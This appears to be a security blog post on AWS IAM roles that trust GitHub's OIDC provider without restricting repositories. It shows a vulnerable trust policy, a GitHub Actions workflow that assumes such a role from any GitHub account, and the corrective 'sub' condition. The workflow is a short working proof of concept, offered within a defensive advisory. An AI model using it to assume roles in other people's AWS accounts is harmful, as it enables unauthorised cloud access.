AWS and GitHub OIDC Cross Account Roles

AWS and overly permissive GitHub OIDC cross-account role trust policies

Cloud Configuration assessments often include the underlying CI/CD/Devops environment. With the aim being to identify flaws in the source code management and/or deployment which could allow an internal or external attacker to gain access to pipelines and impact the integrity and privacy of the downstream or related services.

Something I have seen recently is the use of the "tokens.actions.githubusercontent.com" identity provider in AWS (as shown in the below screenshot) which allows GitHub Actions to assume a role in the account for the purposes of deploying infrastructure.

The following is an example of a cross-account role trust policy I have seen on engagements.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::123456789123:oidc-provider/token.actions.githubusercontent.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

Unfortunatly, when the role is configured in this way, without any conditons limiting access from specific repositories or projects, it means ANY Github user can assume the role and gain access to the underlying AWS account.

If you find a vulnerable IAM role, the following GitHub Actions YAML definition can be used from any github user account to the assume the role and leverage any policies afforded to it.

name: CI

# Controls when the workflow will run
on:
  # Triggers the workflow on push or pull request events but only for the "main" branch
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

  # Allows you to run this workflow manually from the Actions tab
  workflow_dispatch:

jobs:
  main:
    name: OpenID Connect (OIDC) IAM role
    runs-on: ubuntu-latest
    # note: permissions required to fetch OpenID Connect token and allow actions/checkout
    permissions:
      contents: read
      id-token: write
    steps:
      - name: assumerole
        uses: aws-actions/configure-aws-credentials@v3
        with:
          audience: sts.amazonaws.com
          aws-region: eu-west-2
          role-to-assume: arn:aws:iam::123456789123:role/github_actions_deploy_role
      # IAM role assumed via AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY/AWS_SESSION_TOKEN
      - name: whoami
        run: aws sts get-caller-identity

To ensure your cross-account roles are not vulnerable to this issue, add a condition to role limiting access from specific repositories like this:

"Condition": {
     "StringEquals": {
     "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
     "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:environment:prod"
     }
     }

I have also added a check for this to my AWS cloud auditing tool Snotra.